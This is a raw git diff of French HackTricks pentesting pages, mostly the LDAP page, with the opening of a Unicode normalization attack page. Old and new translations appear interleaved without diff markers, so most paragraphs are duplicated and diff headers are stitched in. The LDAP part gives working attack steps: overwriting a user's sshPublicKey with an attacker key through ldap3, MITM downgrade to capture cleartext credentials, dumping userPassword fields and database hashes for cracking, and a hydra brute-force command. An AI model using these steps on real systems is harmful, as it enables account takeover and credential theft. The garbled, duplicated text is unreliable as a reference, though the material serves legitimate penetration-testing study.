* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Extrait de : [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
LDAP (Lightweight Directory Access Protocol) est principalement utilisé pour la **localisation** d'entités telles que des organisations, des individus et diverses **ressources** (par exemple, fichiers, appareils) au sein d'un réseau. Cela peut être sur une plateforme publique comme Internet ou au sein d'un intranet privé. En tant que version simplifiée du protocole d'accès au répertoire (DAP), LDAP implique une empreinte de code réduite.
LDAP (Lightweight Directory Access Protocol) est un protocole logiciel permettant à quiconque de **localiser** des organisations, des individus et d'autres **ressources** telles que des fichiers et des appareils dans un réseau, que ce soit sur Internet public ou sur un intranet d'entreprise. LDAP est une version "allégée" (moins de code) du Directory Access Protocol (DAP).
La structure d'un annuaire LDAP permet sa distribution sur plusieurs serveurs. Sur chacun de ces serveurs, une forme **répliquée** de l'ensemble de l'annuaire existe et est **synchronisée** à intervalles réguliers. Dans ce contexte, un serveur LDAP est appelé Agent de Système d'Annuaire (DSA). Lorsqu'un utilisateur envoie une demande à un serveur LDAP, le serveur assume l'entière responsabilité de cette demande. Cela implique de communiquer avec d'autres DSAs si nécessaire, mais surtout, il garantit que l'utilisateur reçoit une réponse unique et cohérente.
Un annuaire LDAP peut être **distribué** sur plusieurs serveurs. Chaque serveur peut avoir une version **répliquée** de l'annuaire complet qui est **synchronisée** périodiquement. Un serveur LDAP est appelé un Directory System Agent (DSA). Un serveur LDAP qui reçoit une demande d'un utilisateur prend en charge la demande, la transmettant à d'autres DSA si nécessaire, mais en assurant une réponse coordonnée unique pour l'utilisateur.
L'organisation d'un annuaire LDAP est semblable à une hiérarchie d'**arbre** simple, qui comprend plusieurs niveaux :
Un annuaire LDAP est organisé dans une hiérarchie "arborescente" simple comprenant les niveaux suivants :
- Le niveau le plus élevé est le répertoire racine, qui agit comme l'origine ou la source de l'arbre.
- Cela se ramifie au niveau suivant, les pays.
- Chaque pays se divise ensuite en organisations.
- Les organisations se divisent en unités organisationnelles. Ces unités peuvent représenter différentes divisions ou départements.
- Le dernier niveau comprend des entités individuelles. Cela englobe non seulement des personnes mais aussi des ressources partagées comme des fichiers et des imprimantes.
* L'annuaire racine (le point de départ ou la source de l'arbre), qui se ramifie en
* Pays, chacun se ramifiant en
* Organisations, qui se ramifient en
* Unités organisationnelles (divisions, départements, etc.), qui se ramifient en (inclut une entrée pour)
* Individus (qui comprend des personnes, des fichiers et des ressources partagées telles que des imprimantes)
**Port par défaut :** 389 et 636(ldaps). Le Catalogue Global (LDAP dans ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.
**Port par défaut :** 389 et 636 (ldaps). Le catalogue global (LDAP dans Active Directory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### Format d'échange de données LDAP
### Format d'interchange de données LDAP
LDIF (LDAP Data Interchange Format) définit le contenu de l'annuaire sous forme d'un ensemble d'enregistrements. Il peut également représenter des demandes de mise à jour (Ajouter, Modifier, Supprimer, Renommer).
```bash
@ -65,15 +65,16 @@ ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Les lignes 1-3 définissent le domaine de niveau supérieur local
* Les lignes 5-8 définissent le premier niveau de domaine moneycorp (moneycorp.local)
* Les lignes 1-3 définissent le domaine de premier niveau local
* Les lignes 5-8 définissent le domaine de premier niveau moneycorp (moneycorp.local)
* Les lignes 10-16 définissent 2 unités organisationnelles : dev et sales
* Les lignes 18-26 créent un objet du domaine et attribuent des attributs avec des valeurs
## Écrire des données
Notez que si vous pouvez modifier des valeurs, vous pourriez être capable de réaliser des actions vraiment intéressantes. Par exemple, imaginez que vous **pouvez changer l'information "sshPublicKey"** de votre utilisateur ou de n'importe quel utilisateur. Il est très probable que si cet attribut existe, alors **ssh lit les clés publiques depuis LDAP**. Si vous pouvez modifier la clé publique d'un utilisateur, vous **serez capable de vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh**.
Notez que si vous pouvez modifier les valeurs, vous pourriez être en mesure d'effectuer des actions vraiment intéressantes. Par exemple, imaginez que vous **pouvez changer les informations "sshPublicKey"** de votre utilisateur ou de tout utilisateur. Il est très probable que si cet attribut existe, alors **ssh lit les clés publiques à partir de LDAP**. Si vous pouvez modifier la clé publique d'un utilisateur, vous **pourrez vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
@ -83,30 +84,30 @@ True
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Vol de credentials en clair
## Capturer les identifiants en clair
Si LDAP est utilisé sans SSL, vous pouvez **intercepter les identifiants en texte clair** sur le réseau.
Si LDAP est utilisé sans SSL, vous pouvez **capturer les identifiants en clair** dans le réseau.
De plus, vous pouvez réaliser une attaque **MITM** sur le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez effectuer une **Attaque par Déclassement** afin que le client utilise les **identifiants en clair** pour se connecter.
De plus, vous pouvez effectuer une attaque **MITM** dans le réseau **entre le serveur LDAP et le client.** Ici, vous pouvez effectuer une **attaque de rétrogradation** afin que le client utilise les **identifiants en clair** pour se connecter.
**Si SSL est utilisé**, vous pouvez essayer de réaliser un **MITM** comme mentionné ci-dessus mais en proposant un **faux certificat**, si **l'utilisateur l'accepte**, vous pouvez déclasser la méthode d'authentification et voir à nouveau les identifiants.
**Si SSL est utilisé**, vous pouvez essayer de faire une **MITM** comme mentionné ci-dessus, mais en proposant un **faux certificat**, si l'utilisateur l'accepte, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.
## Accès Anonyme
## Accès anonyme
### Contourner la vérification TLS SNI
Selon [**ce compte-rendu**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) juste en accédant au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme :
Selon [**cet article**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), en accédant simplement au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Liaisons LDAP anonymes
### Connexions anonymes LDAP
[Les liaisons LDAP anonymes](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète des utilisateurs, groupes, ordinateurs, attributs de compte utilisateur et la politique de mot de passe du domaine. Il s'agit d'une **configuration héritée**, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
Cependant, les administrateurs ont peut-être dû **configurer une application particulière pour permettre les liaisons anonymes** et ont donné plus d'accès que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.
Les [connexions anonymes LDAP](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettent aux **attaquants non authentifiés** de récupérer des informations du domaine, telles qu'une liste complète des utilisateurs, des groupes, des ordinateurs, des attributs de compte utilisateur et la politique de mot de passe du domaine. Il s'agit d'une **configuration héritée**, et à partir de Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.\
Cependant, les administrateurs peuvent avoir eu besoin de **configurer une application particulière pour autoriser les connexions anonymes** et avoir accordé plus d'accès que prévu, donnant ainsi aux utilisateurs non authentifiés un accès à tous les objets dans AD.
## Identifiants valides
## Identifiants Validés
Si vous disposez d'identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations concernant l'Admin du Domaine en utilisant :
Si vous disposez d'identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur l'administrateur de domaine en utilisant :
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
@ -117,7 +118,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
## Énumération
### Automatisée
### Automatisé
En utilisant cela, vous pourrez voir les **informations publiques** (comme le nom de domaine)**:**
```bash
@ -129,9 +130,9 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<summary>Voir l'énumération LDAP avec python</summary>
Vous pouvez essayer d'**énumérer un LDAP avec ou sans identifiants en utilisant python** : `pip3 install ldap3`
Vous pouvez essayer d'**énumérer un LDAP avec ou sans** informations d'identification en utilisant python: `pip3 install ldap3`
Essayez d'abord de **vous connecter sans** identifiants :
Tout d'abord, essayez de vous **connecter sans** informations d'identification:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@ -140,7 +141,7 @@ Essayez d'abord de **vous connecter sans** identifiants :
True
>>> server.info
```
Si la réponse est `True` comme dans l'exemple précédent, vous pouvez obtenir certaines **données intéressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) à partir de :
Si la réponse est `True` comme dans l'exemple précédent, vous pouvez obtenir des **données intéressantes** du serveur LDAP (comme le **contexte de nommage** ou le **nom de domaine**) à partir de :
```bash
>>> server.info
DSA info (from DSE):
@ -148,15 +149,13 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
```markdown
Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requêtes plus intéressantes. Cette requête simple devrait vous montrer tous les objets dans l'annuaire :
```
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Ou **dump** l'intégralité de ldap :
Ou **dump** l'ensemble de l'ldap :
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
@ -166,7 +165,7 @@ True
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* est un script Python utile pour **énumérer les utilisateurs, les groupes et les ordinateurs d'un domaine Windows** en utilisant des requêtes LDAP.
[**Windapsearch**](https://github.com/ropnop/windapsearch) est un script Python utile pour **énumérer les utilisateurs, les groupes et les ordinateurs d'un domaine Windows** en utilisant des requêtes LDAP.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
@ -181,7 +180,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
Vérifiez les identifiants nuls ou si vos identifiants sont valides :
Vérifiez les informations d'identification nulles ou si vos informations d'identification sont valides :
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
@ -194,7 +193,7 @@ result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Si vous trouvez un message indiquant que le "_bind must be completed_" cela signifie que les identifiants sont incorrects.
Si vous trouvez quelque chose indiquant que le "_bind doit être complété_", cela signifie que les identifiants sont incorrects.
Vous pouvez extraire **tout d'un domaine** en utilisant :
```bash
@ -205,36 +204,36 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
-w My password
-b Base site, all data from here will be given
```
Extraction des **utilisateurs** :
Extraire **utilisateurs** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extraction de **computers** :
Extraire **ordinateurs** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrait **mes infos** :
Extraire **mes informations** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraction des **Domain Admins** :
Extraire **Domain Admins** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraction des **Utilisateurs du Domaine** :
Extraire **Utilisateurs du domaine** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraction des **Enterprise Admins** :
Extraire **Enterprise Admins** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraction des **Administrateurs** :
Extraire **Administrateurs** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extrait **Groupe de Bureau à Distance**:
Extraire **Groupe Bureau à distance** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -242,11 +241,9 @@ Pour vérifier si vous avez accès à un mot de passe, vous pouvez utiliser grep
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas être les vrais...
#### pbis
Vous pouvez télécharger **pbis** ici : [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) et il est généralement installé dans `/opt/pbis`.\
Vous pouvez télécharger **pbis** à partir d'ici : [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) et il est généralement installé dans `/opt/pbis`.\
**Pbis** vous permet d'obtenir facilement des informations de base :
```bash
#Read keytab file
@ -295,13 +292,13 @@ done
### Apache Directory
[**Téléchargez Apache Directory ici**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [exemple d'utilisation de cet outil ici](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
[**Téléchargez Apache Directory à partir d'ici**](https://directory.apache.org/studio/download/download-linux.html). Vous pouvez trouver un [exemple d'utilisation de cet outil ici](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
### jxplorer
Vous pouvez télécharger une interface graphique avec serveur LDAP ici : [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Vous pouvez télécharger une interface graphique avec un serveur LDAP ici : [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Par défaut, elle est installée dans : _/opt/jxplorer_
Par défaut, il est installé dans : _/opt/jxplorer_
![](<../.gitbook/assets/image (22) (1).png>)
@ -311,16 +308,14 @@ Vous pouvez y accéder sur [https://github.com/Macmod/godap](https://github.com/
## Authentification via kerberos
En utilisant `ldapsearch`, vous pouvez vous **authentifier** contre **kerberos au lieu** de via **NTLM** en utilisant le paramètre `-Y GSSAPI`
En utilisant `ldapsearch`, vous pouvez **vous authentifier** contre **kerberos au lieu de** via **NTLM** en utilisant le paramètre `-Y GSSAPI`
## POST
Si vous avez accès aux fichiers où les bases de données sont contenues (pourraient être dans _/var/lib/ldap_). Vous pouvez extraire les hachages en utilisant :
Si vous pouvez accéder aux fichiers où les bases de données sont contenues (peut être dans _/var/lib/ldap_). Vous pouvez extraire les hachages en utilisant :
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
Vous pouvez alimenter john avec le hash de mot de passe (de '{SSHA}' à 'structural' sans ajouter 'structural').
### Fichiers de configuration
* Général
@ -335,16 +330,14 @@ Vous pouvez alimenter john avec le hash de mot de passe (de '{SSHA}' à 'structu
* V3.sas.oc
* Serveur Microsoft Active Directory
* msadClassesAttrs.ldif
* Serveur Netscape Directory 4
* Serveur Netscape Directory Server 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* Serveur annuaire OpenLDAP
* Serveur de répertoire OpenLDAP
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Serveur Sun ONE Directory 5.1
* 75sas.ldif
## Commandes automatiques HackTricks
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
@ -385,12 +378,14 @@ Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

93
pentesting-web/unicode-injection/unicode-normalization.md
View file

@ -2,57 +2,62 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Contexte
**Il s'agit d'un résumé de : [https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)**. Consultez-le pour plus de détails (images prises à partir de là).
La normalisation garantit que deux chaînes qui peuvent utiliser une représentation binaire différente pour leurs caractères aient la même valeur binaire après normalisation.
## Compréhension de l'Unicode et de la Normalisation
Il existe deux types globaux d'équivalence entre les caractères, l'« **Équivalence Canonique** » et l'« **Équivalence de Compatibilité** » :\
Les caractères **Équivalents Canoniques** sont supposés avoir la même apparence et le même sens lorsqu'ils sont imprimés ou affichés. L'**Équivalence de Compatibilité** est une équivalence plus faible, dans le sens où deux valeurs peuvent représenter le même caractère abstrait mais peuvent être affichées différemment. Il existe **4 algorithmes de Normalisation** définis par la norme **Unicode** ; **NFC, NFD, NFKD et NFKD**, chacun applique les techniques de normalisation Canonique et de Compatibilité de manière différente. Vous pouvez en lire plus sur les différentes techniques sur Unicode.org.
La normalisation Unicode est un processus qui garantit que les différentes représentations binaires des caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter les chaînes de caractères en programmation et en traitement des données. La norme Unicode définit deux types d'équivalence de caractères :
### Codage Unicode
1. **Équivalence canonique** : Les caractères sont considérés comme équivalents canoniquement s'ils ont la même apparence et le même sens lorsqu'ils sont imprimés ou affichés.
2. **Équivalence de compatibilité** : Une forme plus faible d'équivalence où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.
Bien que Unicode ait été en partie conçu pour résoudre les problèmes d'interopérabilité, l'évolution de la norme, la nécessité de prendre en charge les systèmes hérités et les différentes méthodes de codage peuvent encore poser un défi.\
Avant de nous plonger dans les attaques Unicode, voici les points principaux à comprendre sur Unicode :
Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise différemment les techniques de normalisation canonique et de compatibilité. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).
* Chaque caractère ou symbole est mappé à une valeur numérique appelée « point de code ».
* La valeur du point de code (et donc le caractère lui-même) est représentée par 1 ou plusieurs octets en mémoire. Les caractères LATIN-1, comme ceux utilisés dans les pays anglophones, peuvent être représentés en utilisant 1 octet. D'autres langues ont plus de caractères et ont besoin de plus d'octets pour représenter tous les différents points de code (aussi parce qu'ils ne peuvent pas utiliser ceux déjà pris par LATIN-1).
* Le terme « codage » désigne la méthode selon laquelle les caractères sont représentés sous forme de série d'octets. La norme de codage la plus courante est UTF-8, avec ce schéma de codage, les caractères ASCII peuvent être représentés en utilisant 1 octet ou jusqu'à 4 octets pour d'autres caractères.
* Lorsqu'un système traite des données, il doit connaître le codage utilisé pour convertir le flux d'octets en caractères.
* Bien que UTF-8 soit le plus courant, il existe des normes de codage similaires nommées UTF-16 et UTF-32, la différence entre chacune est le nombre d'octets utilisés pour représenter chaque caractère. Par exemple, UTF-16 utilise un minimum de 2 octets (mais jusqu'à 4) et UTF-32 utilise 4 octets pour tous les caractères.
### Points clés sur l'encodage Unicode
Un exemple de la façon dont Unicode normalise deux octets différents représentant le même caractère :
Comprendre l'encodage Unicode est essentiel, notamment lorsqu'il s'agit de problèmes d'interopérabilité entre différents systèmes ou langues. Voici les points principaux :
![](<../../.gitbook/assets/image (156).png>)
- **Points de code et caractères** : En Unicode, chaque caractère ou symbole se voit attribuer une valeur numérique appelée "point de code".
- **Représentation en octets** : Le point de code (ou caractère) est représenté par un ou plusieurs octets en mémoire. Par exemple, les caractères LATIN-1 (courants dans les pays anglophones) sont représentés à l'aide d'un octet. Cependant, les langues avec un plus grand ensemble de caractères nécessitent plus d'octets pour la représentation.
- **Encodage** : Ce terme fait référence à la manière dont les caractères sont transformés en une série d'octets. UTF-8 est une norme d'encodage courante où les caractères ASCII sont représentés à l'aide d'un octet, et jusqu'à quatre octets pour les autres caractères.
- **Traitement des données** : Les systèmes traitant des données doivent être conscients de l'encodage utilisé pour convertir correctement le flux d'octets en caractères.
- **Variantes d'UTF** : Outre UTF-8, il existe d'autres normes d'encodage comme UTF-16 (utilisant un minimum de 2 octets, jusqu'à 4) et UTF-32 (utilisant 4 octets pour tous les caractères).
**Une liste de caractères Unicode équivalents peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
Il est crucial de comprendre ces concepts pour gérer efficacement et atténuer les problèmes potentiels découlant de la complexité de l'Unicode et de ses différentes méthodes d'encodage.
Un exemple de normalisation Unicode de deux octets différents représentant le même caractère :
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Une liste des caractères équivalents Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
### Découverte
Si vous trouvez dans une application web une valeur qui est renvoyée, vous pourriez essayer d'envoyer le **'SIGNE KELVIN' (U+0212A)** qui se **normalise en "K"** (vous pouvez l'envoyer comme `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.
Si vous trouvez à l'intérieur d'une application web une valeur qui est renvoyée, vous pourriez essayer d'envoyer le **'SIGNE KELVIN' (U+0212A)** qui se **normalise en "K"** (vous pouvez l'envoyer en tant que `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.
Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **unicode** est `Leonishan`.
Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **normalisation Unicode** est `Leonishan`.
## **Exemples Vulnérables**
## **Exemples de Vulnérabilités**
### **Contournement de filtre d'injection SQL**
### **Contournement du filtre d'injection SQL**
